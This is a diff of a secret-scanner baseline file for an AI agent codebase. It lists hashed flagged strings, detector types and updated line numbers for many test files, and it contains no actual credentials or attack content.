"filename": "extensions/nostr/src/types.test.ts", "hashed_secret": "3bee216ebc256d692260fc3adc765050508fef5e", "is_verified": false, - "line_number": 123 + "line_number": 141 } ], "extensions/open-prose/skills/prose/SKILL.md": [ @@ -11316,6 +11773,38 @@ "line_number": 200 } ], + "extensions/slack/src/channel.test.ts": [ + { + "type": "Secret Keyword", + "filename": "extensions/slack/src/channel.test.ts", + "hashed_secret": "514f52b114ae97e309055b6f419798569dc48a2b", + "is_verified": false, + "line_number": 147 + }, + { + "type": "Secret Keyword", + "filename": "extensions/slack/src/channel.test.ts", + "hashed_secret": "071d3673192b4b44a84aa73ac9d00c155821303b", + "is_verified": false, + "line_number": 217 + }, + { + "type": "Secret Keyword", + "filename": "extensions/slack/src/channel.test.ts", + "hashed_secret": "dfba7aade0868074c2861c98e2a9a92f3178a51b", + "is_verified": false, + "line_number": 219 + } + ], + "extensions/telegram/src/channel.test.ts": [ + { + "type": "Secret Keyword", + "filename": "extensions/telegram/src/channel.test.ts", + "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", + "is_verified": false, + "line_number": 136 + } + ], "extensions/twitch/src/onboarding.test.ts": [ { "type": "Secret Keyword", @@ -11356,7 +11845,7 @@ "filename": "extensions/voice-call/src/config.test.ts", "hashed_secret": "62207a469ec2fdcfc7d66b04c2980ac1501acbf0", "is_verified": false, - "line_number": 129 + "line_number": 79 } ], "extensions/voice-call/src/providers/telnyx.test.ts": [ @@ -11377,15 +11866,6 @@ "line_number": 41 } ], - "extensions/zalo/src/monitor.webhook.test.ts": [ - { - "type": "Secret Keyword", - "filename": "extensions/zalo/src/monitor.webhook.test.ts", - "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", - "is_verified": false, - "line_number": 40 - } - ], "skills/1password/references/cli-examples.md": [ { "type": "Secret Keyword", @@ -11413,82 +11893,181 @@ "line_number": 22 } ], - "src/agents/compaction.tool-result-details.e2e.test.ts": [ + "src/acp/client.test.ts": [ { "type": "Secret Keyword", - "filename": "src/agents/compaction.tool-result-details.e2e.test.ts", + "filename": "src/acp/client.test.ts", + "hashed_secret": "d862c48593628a39a76daafde56f16b69eddd7c2", + "is_verified": false, + "line_number": 69 + }, + { + "type": "Secret Keyword", + "filename": "src/acp/client.test.ts", + "hashed_secret": "aac1281207c0f83f113d70cd1200bd86ce30ffcb", + "is_verified": false, + "line_number": 70 + }, + { + "type": "Secret Keyword", + "filename": "src/acp/client.test.ts", + "hashed_secret": "787951939f82ab64286006ce2a430e06c6d54086", + "is_verified": false, + "line_number": 71 + }, + { + "type": "Secret Keyword", + "filename": "src/acp/client.test.ts", + "hashed_secret": "d503c694c0e762d786079a3f8bd6df32de508a9b", + "is_verified": false, + "line_number": 85 + }, + { + "type": "Secret Keyword", + "filename": "src/acp/client.test.ts", + "hashed_secret": "0d8c5e792dc079c912039086e892330076db8129", + "is_verified": false, + "line_number": 98 + } + ], + "src/acp/server.startup.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/acp/server.startup.test.ts", + "hashed_secret": "60fe331dc434ac211c53f33da22a384aa0e3fec5", + "is_verified": false, + "line_number": 178 + } + ], + "src/agents/auth-profiles/oauth.openai-codex-refresh-fallback.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/agents/auth-profiles/oauth.openai-codex-refresh-fallback.test.ts", + "hashed_secret": "02ecb94373bfb3dfe827ca18409f50b016e8302a", + "is_verified": false, + "line_number": 26 + }, + { + "type": "Secret Keyword", + "filename": "src/agents/auth-profiles/oauth.openai-codex-refresh-fallback.test.ts", + "hashed_secret": "f8ca0d7266886f4b5be9adddc9b66017b3bf1a4b", + "is_verified": false, + "line_number": 27 + }, + { + "type": "Secret Keyword", + "filename": "src/agents/auth-profiles/oauth.openai-codex-refresh-fallback.test.ts", + "hashed_secret": "0775624b6a8da2aaf29e334372656c1b657c21b7", + "is_verified": false, + "line_number": 94 + } + ], + "src/agents/compaction.tool-result-details.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/agents/compaction.tool-result-details.test.ts", "hashed_secret": "a94a8fe5ccb19ba61c4c0873d391e987982fbbd3", "is_verified": false, - "line_number": 50 + "line_number": 67 } ], - "src/agents/memory-search.e2e.test.ts": [ + "src/agents/memory-search.test.ts": [ { "type": "Secret Keyword", - "filename": "src/agents/memory-search.e2e.test.ts", + "filename": "src/agents/memory-search.test.ts", "hashed_secret": "a1b49d68a91fdf9c9217773f3fac988d77fa0f50", "is_verified": false, - "line_number": 189 + "line_number": 191 } ], - "src/agents/minimax-vlm.normalizes-api-key.e2e.test.ts": [ + "src/agents/minimax-vlm.normalizes-api-key.test.ts": [ { "type": "Secret Keyword", - "filename": "src/agents/minimax-vlm.normalizes-api-key.e2e.test.ts", + "filename": "src/agents/minimax-vlm.normalizes-api-key.test.ts", "hashed_secret": "8a8461b67e3fe515f248ac2610fd7b1f4fc3b412", "is_verified": false, - "line_number": 28 + "line_number": 29 + }, + { + "type": "Secret Keyword", + "filename": "src/agents/minimax-vlm.normalizes-api-key.test.ts", + "hashed_secret": "bcdec29c5e1ade0fc995c3a18862f0111e51a998", + "is_verified": false, + "line_number": 56 } ], - "src/agents/model-auth.e2e.test.ts": [ + "src/agents/model-auth-label.test.ts": [ + { + "type": "GitHub Token", + "filename": "src/agents/model-auth-label.test.ts", + "hashed_secret": "e175c6f5f2a92e8623bd9a4820edb4e8c1b0fd10", + "is_verified": false, + "line_number": 35 + }, { "type": "Secret Keyword", - "filename": "src/agents/model-auth.e2e.test.ts", + "filename": "src/agents/model-auth-label.test.ts", + "hashed_secret": "6367c48dd193d56ea7b0baad25b19455e529f5ee", + "is_verified": false, + "line_number": 55 + } + ], + "src/agents/model-auth.profiles.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/agents/model-auth.profiles.test.ts", "hashed_secret": "07a6b9cec637c806195e8aa7e5c0851ab03dc35e", "is_verified": false, - "line_number": 228 + "line_number": 194 }, { "type": "Secret Keyword", - "filename": "src/agents/model-auth.e2e.test.ts", + "filename": "src/agents/model-auth.profiles.test.ts", "hashed_secret": "21f296583ccd80c5ab9b3330a8b0d47e4a409fb9", "is_verified": false, - "line_number": 254 + "line_number": 208 }, { "type": "Secret Keyword", - "filename": "src/agents/model-auth.e2e.test.ts", + "filename": "src/agents/model-auth.profiles.test.ts", "hashed_secret": "b65888424ecafcc98bfd803b24817e4dadf821f8", "is_verified": false, - "line_number": 275 + "line_number": 219 }, { "type": "Secret Keyword", - "filename": "src/agents/model-auth.e2e.test.ts", + "filename": "src/agents/model-auth.profiles.test.ts", + "hashed_secret": "b17453920671d0cb8a415b649a066b3df3d36fb0", + "is_verified": false, + "line_number": 253 + }, + { + "type": "Secret Keyword", + "filename": "src/agents/model-auth.profiles.test.ts", "hashed_secret": "77e991e9f56e6fa4ed1a908208048421f1214c07", "is_verified": false, - "line_number": 296 + "line_number": 286 }, { "type": "Secret Keyword", - "filename": "src/agents/model-auth.e2e.test.ts", + "filename": "src/agents/model-auth.profiles.test.ts", "hashed_secret": "dff6d4ff5dc357cf451d1855ab9cbda562645c9f", "is_verified": false, - "line_number": 319 + "line_number": 301 }, { "type": "Secret Keyword", - "filename": "src/agents/model-auth.e2e.test.ts", + "filename": "src/agents/model-auth.profiles.test.ts", "hashed_secret": "b43be360db55d89ec6afd74d6ed8f82002fe4982", "is_verified": false, - "line_number": 374 + "line_number": 333 }, { "type": "Secret Keyword", - "filename": "src/agents/model-auth.e2e.test.ts", + "filename": "src/agents/model-auth.profiles.test.ts", "hashed_secret": "5b850e9dc678446137ff6d905ebd78634d687fdd", "is_verified": false, - "line_number": 395 + "line_number": 344 } ], "src/agents/model-auth.ts": [ @@ -11500,38 +12079,118 @@ "line_number": 25 } ], + "src/agents/model-fallback.run-embedded.e2e.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/agents/model-fallback.run-embedded.e2e.test.ts", + "hashed_secret": "845fa28a5bf5d82cfa91a00ef9cf6cca8aef00db", + "is_verified": false, + "line_number": 111 + }, + { + "type": "Secret Keyword", + "filename": "src/agents/model-fallback.run-embedded.e2e.test.ts", + "hashed_secret": "19e506a6fcda111778646087fb7aad7f00267113", + "is_verified": false, + "line_number": 127 + } + ], "src/agents/models-config.e2e-harness.ts": [ { "type": "Secret Keyword", "filename": "src/agents/models-config.e2e-harness.ts", "hashed_secret": "7cf31e8b6cda49f70c31f1f25af05d46f924142d", "is_verified": false, - "line_number": 110 + "line_number": 130 } ], - "src/agents/models-config.fills-missing-provider-apikey-from-env-var.e2e.test.ts": [ + "src/agents/models-config.fills-missing-provider-apikey-from-env-var.test.ts": [ { "type": "Secret Keyword", - "filename": "src/agents/models-config.fills-missing-provider-apikey-from-env-var.e2e.test.ts", - "hashed_secret": "fcdd655b11f33ba4327695084a347b2ba192976c", + "filename": "src/agents/models-config.fills-missing-provider-apikey-from-env-var.test.ts", + "hashed_secret": "2a9da819718779deba96d5aee1d1f4948047c2bd", "is_verified": false, - "line_number": 19 + "line_number": 46 }, { "type": "Secret Keyword", - "filename": "src/agents/models-config.fills-missing-provider-apikey-from-env-var.e2e.test.ts", - "hashed_secret": "3a81eb091f80c845232225be5663d270e90dacb7", + "filename": "src/agents/models-config.fills-missing-provider-apikey-from-env-var.test.ts", + "hashed_secret": "fa9144b340ea7886885669e2e7a808c86ee14a07", "is_verified": false, - "line_number": 73 - } - ], - "src/agents/models-config.normalizes-gemini-3-ids-preview-google-providers.e2e.test.ts": [ + "line_number": 117 + }, { "type": "Secret Keyword", - "filename": "src/agents/models-config.normalizes-gemini-3-ids-preview-google-providers.e2e.test.ts", + "filename": "src/agents/models-config.fills-missing-provider-apikey-from-env-var.test.ts", + "hashed_secret": "3a81eb091f80c845232225be5663d270e90dacb7", + "is_verified": false, + "line_number": 181 + }, + { + "type": "Secret Keyword", + "filename": "src/agents/models-config.fills-missing-provider-apikey-from-env-var.test.ts", + "hashed_secret": "565a8d87240aae631d7a901c1f697d46ee141a7b", + "is_verified": false, + "line_number": 214 + } + ], + "src/agents/models-config.normalizes-gemini-3-ids-preview-google-providers.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/agents/models-config.normalizes-gemini-3-ids-preview-google-providers.test.ts", "hashed_secret": "980d02eb9335ae7c9e9984f6c8ad432352a0d2ac", "is_verified": false, - "line_number": 20 + "line_number": 17 + } + ], + "src/agents/models-config.providers.google-antigravity.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/agents/models-config.providers.google-antigravity.test.ts", + "hashed_secret": "65ef0bf81fc443b3e15a494151196f38c8273c96", + "is_verified": false, + "line_number": 27 + } + ], + "src/agents/models-config.providers.kilocode.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/agents/models-config.providers.kilocode.test.ts", + "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", + "is_verified": false, + "line_number": 24 + } + ], + "src/agents/models-config.providers.kimi-coding.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/agents/models-config.providers.kimi-coding.test.ts", + "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", + "is_verified": false, + "line_number": 12 + } + ], + "src/agents/models-config.providers.normalize-keys.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/agents/models-config.providers.normalize-keys.test.ts", + "hashed_secret": "ba4d38e2a7e8c718913887136d2526351d05cd69", + "is_verified": false, + "line_number": 16 + }, + { + "type": "Secret Keyword", + "filename": "src/agents/models-config.providers.normalize-keys.test.ts", + "hashed_secret": "02ecb94373bfb3dfe827ca18409f50b016e8302a", + "is_verified": false, + "line_number": 46 + }, + { + "type": "Secret Keyword", + "filename": "src/agents/models-config.providers.normalize-keys.test.ts", + "hashed_secret": "b9cdfe69a75e4f2491bcbaf1934ab5e4fd69eb6b", + "is_verified": false, + "line_number": 52 } ], "src/agents/models-config.providers.nvidia.test.ts": [ @@ -11547,38 +12206,54 @@ "filename": "src/agents/models-config.providers.nvidia.test.ts", "hashed_secret": "be1a7be9d4d5af417882b267f4db6dddc08507bd", "is_verified": false, - "line_number": 27 + "line_number": 22 } ], - "src/agents/models-config.providers.ollama.e2e.test.ts": [ + "src/agents/models-config.providers.ollama.test.ts": [ { "type": "Secret Keyword", - "filename": "src/agents/models-config.providers.ollama.e2e.test.ts", + "filename": "src/agents/models-config.providers.ollama.test.ts", "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", "is_verified": false, - "line_number": 37 - } - ], - "src/agents/models-config.providers.qianfan.e2e.test.ts": [ + "line_number": 54 + }, { "type": "Secret Keyword", - "filename": "src/agents/models-config.providers.qianfan.e2e.test.ts", + "filename": "src/agents/models-config.providers.ollama.test.ts", + "hashed_secret": "3148ad4aafbeefee82355e1cde29b6d77ba4cf21", + "is_verified": false, + "line_number": 248 + } + ], + "src/agents/models-config.providers.qianfan.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/agents/models-config.providers.qianfan.test.ts", "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", "is_verified": false, - "line_number": 12 + "line_number": 11 } ], - "src/agents/models-config.skips-writing-models-json-no-env-token.e2e.test.ts": [ + "src/agents/models-config.providers.volcengine-byteplus.test.ts": [ { "type": "Secret Keyword", - "filename": "src/agents/models-config.skips-writing-models-json-no-env-token.e2e.test.ts", + "filename": "src/agents/models-config.providers.volcengine-byteplus.test.ts", + "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", + "is_verified": false, + "line_number": 13 + } + ], + "src/agents/models-config.skips-writing-models-json-no-env-token.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/agents/models-config.skips-writing-models-json-no-env-token.test.ts", "hashed_secret": "4c7bac93427c83bcc3beeceebfa54f16f801b78f", "is_verified": false, "line_number": 100 }, { "type": "Secret Keyword", - "filename": "src/agents/models-config.skips-writing-models-json-no-env-token.e2e.test.ts", + "filename": "src/agents/models-config.skips-writing-models-json-no-env-token.test.ts", "hashed_secret": "4f2b3ddc953da005a97d825652080fe6eff21520", "is_verified": false, "line_number": 113 @@ -11590,7 +12265,39 @@ "filename": "src/agents/openai-responses.reasoning-replay.test.ts", "hashed_secret": "a94a8fe5ccb19ba61c4c0873d391e987982fbbd3", "is_verified": false, - "line_number": 55 + "line_number": 92 + } + ], + "src/agents/owner-display.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/agents/owner-display.test.ts", + "hashed_secret": "e9dc4e431a9043d0d7d2750af1189e77e2834877", + "is_verified": false, + "line_number": 16 + }, + { + "type": "Secret Keyword", + "filename": "src/agents/owner-display.test.ts", + "hashed_secret": "d9d2f263c630f79c8eb176dbccfef7c3ade3ddcc", + "is_verified": false, + "line_number": 70 + } + ], + "src/agents/pi-embedded-runner-extraparams.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/agents/pi-embedded-runner-extraparams.test.ts", + "hashed_secret": "4604122d2d19b953716499c7fade74e3db0ad17f", + "is_verified": false, + "line_number": 1075 + }, + { + "type": "Secret Keyword", + "filename": "src/agents/pi-embedded-runner-extraparams.test.ts", + "hashed_secret": "81181bf462a0965325a629cff91f511e285d59d4", + "is_verified": false, + "line_number": 1133 } ], "src/agents/pi-embedded-runner.e2e.test.ts": [ @@ -11599,14 +12306,16 @@ "filename": "src/agents/pi-embedded-runner.e2e.test.ts", "hashed_secret": "e9a5f12a8ecbb3eb46eca5096b5c52aa5e7c9fdd", "is_verified": false, - "line_number": 127 - }, + "line_number": 122 + } + ], + "src/agents/pi-embedded-runner.run-embedded-pi-agent.auth-profile-rotation.e2e.test.ts": [ { "type": "Secret Keyword", - "filename": "src/agents/pi-embedded-runner.e2e.test.ts", - "hashed_secret": "fcdd655b11f33ba4327695084a347b2ba192976c", + "filename": "src/agents/pi-embedded-runner.run-embedded-pi-agent.auth-profile-rotation.e2e.test.ts", + "hashed_secret": "e9a5f12a8ecbb3eb46eca5096b5c52aa5e7c9fdd", "is_verified": false, - "line_number": 238 + "line_number": 159 } ], "src/agents/pi-embedded-runner/model.ts": [ @@ -11615,7 +12324,7 @@ "filename": "src/agents/pi-embedded-runner/model.ts", "hashed_secret": "e774aaeac31c6272107ba89080295e277050fa7c", "is_verified": false, - "line_number": 118 + "line_number": 232 } ], "src/agents/pi-embedded-runner/run.overflow-compaction.mocks.shared.ts": [ @@ -11624,16 +12333,55 @@ "filename": "src/agents/pi-embedded-runner/run.overflow-compaction.mocks.shared.ts", "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", "is_verified": false, - "line_number": 86 + "line_number": 114 } ], - "src/agents/pi-tools.safe-bins.e2e.test.ts": [ + "src/agents/pi-extensions/compaction-safeguard.test.ts": [ + { + "type": "Hex High Entropy String", + "filename": "src/agents/pi-extensions/compaction-safeguard.test.ts", + "hashed_secret": "0091061a3babbe6f11d48aa0142e22341b3ea446", + "is_verified": false, + "line_number": 665 + }, + { + "type": "Hex High Entropy String", + "filename": "src/agents/pi-extensions/compaction-safeguard.test.ts", + "hashed_secret": "ef678205593788329ff416ce5c65fa04f33a05bd", + "is_verified": false, + "line_number": 811 + }, { "type": "Secret Keyword", - "filename": "src/agents/pi-tools.safe-bins.e2e.test.ts", - "hashed_secret": "3ea88a727641fd5571b5e126ce87032377be1e7f", + "filename": "src/agents/pi-extensions/compaction-safeguard.test.ts", + "hashed_secret": "e9a5f12a8ecbb3eb46eca5096b5c52aa5e7c9fdd", "is_verified": false, - "line_number": 126 + "line_number": 1490 + } + ], + "src/agents/sandbox/browser.novnc-url.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/agents/sandbox/browser.novnc-url.test.ts", + "hashed_secret": "16c002d49d19805aa1bfba58e9c90b5476054b07", + "is_verified": false, + "line_number": 18 + }, + { + "type": "Secret Keyword", + "filename": "src/agents/sandbox/browser.novnc-url.test.ts", + "hashed_secret": "7ce0359f12857f2a90c7de465f40a95f01cb5da9", + "is_verified": false, + "line_number": 27 + } + ], + "src/agents/sandbox/sanitize-env-vars.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/agents/sandbox/sanitize-env-vars.test.ts", + "hashed_secret": "c747c6b0a7bb9c6337b81875af1a9f9568c740ad", + "is_verified": false, + "line_number": 8 } ], "src/agents/sanitize-for-prompt.test.ts": [ @@ -11645,65 +12393,141 @@ "line_number": 28 } ], - "src/agents/skills.build-workspace-skills-prompt.prefers-workspace-skills-managed-skills.e2e.test.ts": [ + "src/agents/session-transcript-repair.attachments.test.ts": [ { "type": "Secret Keyword", - "filename": "src/agents/skills.build-workspace-skills-prompt.prefers-workspace-skills-managed-skills.e2e.test.ts", - "hashed_secret": "7a85f4764bbd6daf1c3545efbbf0f279a6dc0beb", + "filename": "src/agents/session-transcript-repair.attachments.test.ts", + "hashed_secret": "d25df4833026f016b73dcfa20f33bf753daf7593", "is_verified": false, - "line_number": 103 - } - ], - "src/agents/skills.build-workspace-skills-prompt.syncs-merged-skills-into-target-workspace.e2e.test.ts": [ - { - "type": "Secret Keyword", - "filename": "src/agents/skills.build-workspace-skills-prompt.syncs-merged-skills-into-target-workspace.e2e.test.ts", - "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", - "is_verified": false, - "line_number": 147 - } - ], - "src/agents/skills.e2e.test.ts": [ - { - "type": "Secret Keyword", - "filename": "src/agents/skills.e2e.test.ts", - "hashed_secret": "5df3a673d724e8a1eb673a8baf623e183940804d", - "is_verified": false, - "line_number": 250 + "line_number": 32 }, { "type": "Secret Keyword", - "filename": "src/agents/skills.e2e.test.ts", + "filename": "src/agents/session-transcript-repair.attachments.test.ts", + "hashed_secret": "30b1e9e71b6de9c2d579657e551b95f7eaae406d", + "is_verified": false, + "line_number": 47 + } + ], + "src/agents/skills-install.download.test.ts": [ + { + "type": "Base64 High Entropy String", + "filename": "src/agents/skills-install.download.test.ts", + "hashed_secret": "459acf71d00174faf13cfeee88513702c82d3cb3", + "is_verified": false, + "line_number": 51 + } + ], + "src/agents/skills.build-workspace-skills-prompt.prefers-workspace-skills-managed-skills.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/agents/skills.build-workspace-skills-prompt.prefers-workspace-skills-managed-skills.test.ts", + "hashed_secret": "7a85f4764bbd6daf1c3545efbbf0f279a6dc0beb", + "is_verified": false, + "line_number": 118 + } + ], + "src/agents/skills.build-workspace-skills-prompt.syncs-merged-skills-into-target-workspace.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/agents/skills.build-workspace-skills-prompt.syncs-merged-skills-into-target-workspace.test.ts", + "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", + "is_verified": false, + "line_number": 181 + } + ], + "src/agents/skills.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/agents/skills.test.ts", + "hashed_secret": "5df3a673d724e8a1eb673a8baf623e183940804d", + "is_verified": false, + "line_number": 255 + }, + { + "type": "Secret Keyword", + "filename": "src/agents/skills.test.ts", "hashed_secret": "8921daaa546693e52bc1f9c40bdcf15e816e0448", "is_verified": false, - "line_number": 277 - } - ], - "src/agents/tools/web-fetch.firecrawl-api-key-normalization.e2e.test.ts": [ + "line_number": 313 + }, { "type": "Secret Keyword", - "filename": "src/agents/tools/web-fetch.firecrawl-api-key-normalization.e2e.test.ts", - "hashed_secret": "9da08ab1e27fe0ae2ba6101aea30edcec02d21a4", + "filename": "src/agents/skills.test.ts", + "hashed_secret": "e9a5f12a8ecbb3eb46eca5096b5c52aa5e7c9fdd", "is_verified": false, - "line_number": 45 - } - ], - "src/agents/tools/web-fetch.ssrf.e2e.test.ts": [ + "line_number": 352 + }, { "type": "Secret Keyword", - "filename": "src/agents/tools/web-fetch.ssrf.e2e.test.ts", + "filename": "src/agents/skills.test.ts", + "hashed_secret": "895900e6b5d30fa84fbff6e4e4c10eb5a63c5f8f", + "is_verified": false, + "line_number": 427 + } + ], + "src/agents/system-prompt.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/agents/system-prompt.test.ts", + "hashed_secret": "0a111adae31992afa2873148fdfcaf39e70ec7d8", + "is_verified": false, + "line_number": 76 + }, + { + "type": "Secret Keyword", + "filename": "src/agents/system-prompt.test.ts", + "hashed_secret": "2b3140fdd098f7cb2af72632ac2c0df772b8e90a", + "is_verified": false, + "line_number": 83 + } + ], + "src/agents/tools/pdf-tool.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/agents/tools/pdf-tool.test.ts", + "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", + "is_verified": false, + "line_number": 74 + } + ], + "src/agents/tools/web-fetch.ssrf.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/agents/tools/web-fetch.ssrf.test.ts", "hashed_secret": "5ce8e9d54c77266fff990194d2219a708c59b76c", "is_verified": false, - "line_number": 73 + "line_number": 84 } ], - "src/agents/tools/web-search.e2e.test.ts": [ + "src/agents/tools/web-search.test.ts": [ { "type": "Secret Keyword", - "filename": "src/agents/tools/web-search.e2e.test.ts", + "filename": "src/agents/tools/web-search.test.ts", "hashed_secret": "c8d313eac6d38274ccfc0fa7935c68bd61d5bc2f", "is_verified": false, - "line_number": 129 + "line_number": 105 + }, + { + "type": "Secret Keyword", + "filename": "src/agents/tools/web-search.test.ts", + "hashed_secret": "1561970702b4bf5bb10266b292e545ec14fc602e", + "is_verified": false, + "line_number": 224 + }, + { + "type": "Secret Keyword", + "filename": "src/agents/tools/web-search.test.ts", + "hashed_secret": "c930e4d402a279c3feea98578f716d5665c8cc5d", + "is_verified": false, + "line_number": 228 + }, + { + "type": "Secret Keyword", + "filename": "src/agents/tools/web-search.test.ts", + "hashed_secret": "5c1a5088b7790a73e236f21d65a5e4384a742af0", + "is_verified": false, + "line_number": 231 } ], "src/agents/tools/web-search.ts": [ @@ -11712,85 +12536,85 @@ "filename": "src/agents/tools/web-search.ts", "hashed_secret": "dfba7aade0868074c2861c98e2a9a92f3178a51b", "is_verified": false, - "line_number": 97 - }, - { - "type": "Secret Keyword", - "filename": "src/agents/tools/web-search.ts", - "hashed_secret": "71f8e7976e4cbc4561c9d62fb283e7f788202acb", - "is_verified": false, - "line_number": 285 - }, - { - "type": "Secret Keyword", - "filename": "src/agents/tools/web-search.ts", - "hashed_secret": "c4865ff9250aca23b0d98eb079dad70ebec1cced", - "is_verified": false, - "line_number": 295 - }, - { - "type": "Secret Keyword", - "filename": "src/agents/tools/web-search.ts", - "hashed_secret": "527ee41f36386e85fa932ef09471ca017f3c95c8", - "is_verified": false, - "line_number": 298 + "line_number": 254 } ], - "src/agents/tools/web-tools.enabled-defaults.e2e.test.ts": [ + "src/agents/tools/web-tools.enabled-defaults.test.ts": [ { "type": "Secret Keyword", - "filename": "src/agents/tools/web-tools.enabled-defaults.e2e.test.ts", - "hashed_secret": "47b249a75ca78fdb578d0f28c33685e27ea82684", + "filename": "src/agents/tools/web-tools.enabled-defaults.test.ts", + "hashed_secret": "f6558c30641dd2d38c6e8e7389dd724327c9627e", "is_verified": false, - "line_number": 181 + "line_number": 53 }, { "type": "Secret Keyword", - "filename": "src/agents/tools/web-tools.enabled-defaults.e2e.test.ts", - "hashed_secret": "d0ffd81d6d7ad1bc3c365660fe8882480c9a986e", + "filename": "src/agents/tools/web-tools.enabled-defaults.test.ts", + "hashed_secret": "59fa0cc80b21eb4ea49590dc887b95f5ae7e0bf5", "is_verified": false, - "line_number": 187 - } - ], - "src/agents/tools/web-tools.fetch.e2e.test.ts": [ + "line_number": 55 + }, { "type": "Secret Keyword", - "filename": "src/agents/tools/web-tools.fetch.e2e.test.ts", + "filename": "src/agents/tools/web-tools.enabled-defaults.test.ts", + "hashed_secret": "354a920b3d519d11b737695308dab1bfcf77dbb3", + "is_verified": false, + "line_number": 57 + }, + { + "type": "Secret Keyword", + "filename": "src/agents/tools/web-tools.enabled-defaults.test.ts", + "hashed_secret": "7ec282d2630c12bf9241ef44db50f1f780cdaa79", + "is_verified": false, + "line_number": 59 + }, + { + "type": "Secret Keyword", + "filename": "src/agents/tools/web-tools.enabled-defaults.test.ts", + "hashed_secret": "8ba65d9239fd59ffc16e202cb480d15e35bce964", + "is_verified": false, + "line_number": 60 + }, + { + "type": "Secret Keyword", + "filename": "src/agents/tools/web-tools.enabled-defaults.test.ts", + "hashed_secret": "fb724421f6f4a53c0a73101ea88e4090cabb7b1a", + "is_verified": false, + "line_number": 461 + } + ], + "src/agents/tools/web-tools.fetch.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/agents/tools/web-tools.fetch.test.ts", "hashed_secret": "5ce8e9d54c77266fff990194d2219a708c59b76c", "is_verified": false, - "line_number": 246 + "line_number": 133 } ], - "src/auto-reply/reply.directive.directive-behavior.prefers-alias-matches-fuzzy-selection-is-ambiguous.e2e.test.ts": [ + "src/auto-reply/reply.directive.directive-behavior.prefers-alias-matches-fuzzy-selection-is-ambiguous.test.ts": [ { "type": "Secret Keyword", - "filename": "src/auto-reply/reply.directive.directive-behavior.prefers-alias-matches-fuzzy-selection-is-ambiguous.e2e.test.ts", + "filename": "src/auto-reply/reply.directive.directive-behavior.prefers-alias-matches-fuzzy-selection-is-ambiguous.test.ts", "hashed_secret": "e9a5f12a8ecbb3eb46eca5096b5c52aa5e7c9fdd", "is_verified": false, - "line_number": 56 + "line_number": 60 }, { "type": "Secret Keyword", - "filename": "src/auto-reply/reply.directive.directive-behavior.prefers-alias-matches-fuzzy-selection-is-ambiguous.e2e.test.ts", + "filename": "src/auto-reply/reply.directive.directive-behavior.prefers-alias-matches-fuzzy-selection-is-ambiguous.test.ts", "hashed_secret": "16c249e04e2be318050cb883c40137361c0c7209", "is_verified": false, - "line_number": 62 + "line_number": 142 } ], - "src/auto-reply/reply.directive.directive-behavior.supports-fuzzy-model-matches-model-directive.e2e.test.ts": [ + "src/auto-reply/reply.triggers.trigger-handling.filters-usage-summary-current-model-provider.cases.ts": [ { - "type": "Secret Keyword", - "filename": "src/auto-reply/reply.directive.directive-behavior.supports-fuzzy-model-matches-model-directive.e2e.test.ts", - "hashed_secret": "e9a5f12a8ecbb3eb46eca5096b5c52aa5e7c9fdd", + "type": "Hex High Entropy String", + "filename": "src/auto-reply/reply.triggers.trigger-handling.filters-usage-summary-current-model-provider.cases.ts", + "hashed_secret": "ff998abc1ce6d8f01a675fa197368e44c8916e9c", "is_verified": false, - "line_number": 42 - }, - { - "type": "Secret Keyword", - "filename": "src/auto-reply/reply.directive.directive-behavior.supports-fuzzy-model-matches-model-directive.e2e.test.ts", - "hashed_secret": "16c249e04e2be318050cb883c40137361c0c7209", - "is_verified": false, - "line_number": 149 + "line_number": 216 } ], "src/auto-reply/status.test.ts": [ @@ -11808,7 +12632,14 @@ "filename": "src/browser/bridge-server.auth.test.ts", "hashed_secret": "6af3c121ed4a752936c297cddfb7b00394eabf10", "is_verified": false, - "line_number": 66 + "line_number": 72 + }, + { + "type": "Secret Keyword", + "filename": "src/browser/bridge-server.auth.test.ts", + "hashed_secret": "26aaf463d1d85670b71c6a84a2f644ad5995efc8", + "is_verified": false, + "line_number": 93 } ], "src/browser/browser-utils.test.ts": [ @@ -11817,14 +12648,14 @@ "filename": "src/browser/browser-utils.test.ts", "hashed_secret": "4e126c049580d66ca1549fa534d95a7263f27f46", "is_verified": false, - "line_number": 38 + "line_number": 43 }, { "type": "Basic Auth Credentials", "filename": "src/browser/browser-utils.test.ts", "hashed_secret": "9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684", "is_verified": false, - "line_number": 159 + "line_number": 164 } ], "src/browser/cdp.test.ts": [ @@ -11833,7 +12664,23 @@ "filename": "src/browser/cdp.test.ts", "hashed_secret": "9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684", "is_verified": false, - "line_number": 186 + "line_number": 243 + } + ], 